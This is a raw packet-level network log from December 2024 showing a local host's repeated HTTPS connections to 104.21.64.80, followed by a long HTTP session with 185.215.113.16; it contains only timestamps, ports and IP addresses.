Dec 19, 2024 08:46:10.356256962 CET	49729	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:10.356611967 CET	49729	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:10.356627941 CET	443	49729	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:11.569092035 CET	443	49729	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:11.569480896 CET	49729	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:11.570506096 CET	49729	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:11.570513010 CET	443	49729	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:11.570749044 CET	443	49729	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:11.572103977 CET	49729	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:11.572103977 CET	49729	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:11.572132111 CET	443	49729	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:11.572184086 CET	49729	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:11.572190046 CET	443	49729	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:12.419357061 CET	443	49729	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:12.419460058 CET	443	49729	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:12.419529915 CET	49729	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:12.419697046 CET	49729	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:12.419718981 CET	443	49729	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:12.923451900 CET	49736	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:12.923506021 CET	443	49736	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:12.923870087 CET	49736	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:12.923934937 CET	49736	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:12.923943043 CET	443	49736	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:14.138277054 CET	443	49736	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:14.138371944 CET	49736	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:14.139909029 CET	49736	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:14.139936924 CET	443	49736	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:14.140188932 CET	443	49736	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:14.141580105 CET	49736	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:14.141657114 CET	49736	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:14.141669989 CET	443	49736	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:14.952574015 CET	443	49736	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:14.952815056 CET	443	49736	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:14.952929974 CET	49736	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:14.953018904 CET	49736	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:14.953063965 CET	443	49736	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:15.486290932 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:15.486408949 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:15.486505985 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:15.486856937 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:15.486890078 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.701224089 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.701323032 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.737608910 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.737638950 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.737947941 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.741816044 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.743149042 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.743195057 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.743307114 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.743350029 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.743463993 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.743565083 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.743712902 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.743751049 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.744246960 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.744271994 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.744437933 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.744473934 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.744492054 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.744499922 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.744677067 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.744705915 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.744734049 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.744924068 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.744955063 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.787333012 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.787595987 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.787677050 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.787705898 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.835329056 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:16.835663080 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.864026070 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:16.864064932 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:19.148343086 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:19.148463964 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:19.148556948 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:19.148672104 CET	49745	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:19.148686886 CET	443	49745	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:19.158133984 CET	49757	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:19.158180952 CET	443	49757	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:19.158339977 CET	49757	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:19.158691883 CET	49757	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:19.158708096 CET	443	49757	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:20.384484053 CET	443	49757	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:20.384670019 CET	49757	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:20.385802984 CET	49757	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:20.385811090 CET	443	49757	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:20.386054039 CET	443	49757	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:20.394876003 CET	49757	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:20.394876003 CET	49757	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:20.394994020 CET	443	49757	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:21.247327089 CET	443	49757	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:21.247414112 CET	443	49757	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:21.247579098 CET	49757	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:21.247767925 CET	49757	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:21.247767925 CET	49757	443	192.168.2.6	104.21.64.80
Dec 19, 2024 08:46:21.247791052 CET	443	49757	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:21.247800112 CET	443	49757	104.21.64.80	192.168.2.6
Dec 19, 2024 08:46:21.289727926 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:21.409279108 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:21.409446001 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:21.409657001 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:21.645096064 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.747308969 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.747495890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.747513056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.747601032 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.747929096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.747955084 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.748004913 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.748689890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.748708010 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.748764992 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.749466896 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.749485970 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.749506950 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.749533892 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.749557972 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.867119074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.867333889 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.867532015 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.871257067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.911087036 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.939582109 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.939793110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.939883947 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.943743944 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.943954945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.944147110 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.952161074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.952313900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.952378035 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.960141897 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.960313082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.960366011 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.968458891 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.968633890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.968708992 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.976830006 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.977046013 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.977109909 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.985291958 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.985419035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.985498905 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:22.993649006 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.993772984 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:22.993911982 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.001939058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.002129078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.002444029 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.010319948 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.010588884 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.010672092 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.030630112 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.030843973 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.031039953 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.034806967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.083336115 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.131505966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.131679058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.132399082 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.132920027 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.133128881 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.133438110 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.137711048 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.137897968 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.138128996 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.142474890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.142684937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.142818928 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.147216082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.147394896 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.148168087 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.152005911 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.152200937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.152417898 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.156770945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.156976938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.157217026 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.161580086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.161747932 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.162214041 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.166398048 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.166579962 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.166865110 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.171099901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.171300888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.171361923 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.175878048 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.176076889 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.176146030 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.180716038 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.180871964 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.181113005 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.185446024 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.185646057 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.185693026 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.190222025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.190434933 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.190584898 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.194941998 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.195261955 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.195363998 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.199774027 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.199970961 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.200337887 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.204516888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.204695940 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.204972982 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.209281921 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.209572077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.209636927 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.214035034 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.214234114 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.214471102 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.218817949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.270380020 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.323760986 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.323996067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.324074984 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.325547934 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.325758934 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.325997114 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.329111099 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.329307079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.329427958 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.332726002 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.332909107 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.333118916 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.336231947 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.336527109 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.336656094 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.339596987 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.339804888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.340110064 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.342986107 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.343153000 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.343285084 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.347919941 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.348145008 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.348352909 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.363420010 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.363642931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.363651037 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.363753080 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.364311934 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.364317894 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.364612103 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.365107059 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.365113974 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.365252018 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.365879059 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.365886927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.366012096 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.366640091 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.366799116 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.367082119 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.367189884 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.367336035 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.369724035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.369852066 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.369962931 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.372775078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.372920036 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.373090029 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.376110077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.376271963 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.376353979 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.379349947 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.379580975 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.379842043 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.382602930 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.382821083 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.383028984 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.386012077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.386110067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.386228085 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.389225960 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.389414072 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.389856100 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.392509937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.392703056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.392904997 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.395908117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.396066904 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.396203041 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.399169922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.399341106 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.399444103 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.402430058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.402605057 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.402683020 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.405719995 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.405934095 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.406131029 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.409035921 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.409209967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.409291029 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.412328005 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.412508011 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.412661076 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.415613890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.415802002 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.416002035 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.418946981 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.419123888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.419334888 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.422236919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.422382116 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.422779083 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.515810966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.515984058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.516355991 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.517092943 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.517282963 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.517410994 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.519823074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.520812988 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.520989895 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.521320105 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.523541927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.523703098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.523708105 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.526206017 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.526314020 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.526380062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.528836012 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.528974056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.528995037 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.531435013 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.531507969 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.531629086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.533968925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.534090042 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.534184933 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.536493063 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.536597013 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:23.536606073 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:23.538995981 CET	80	49764	185.215.113.16	192.168.2.6
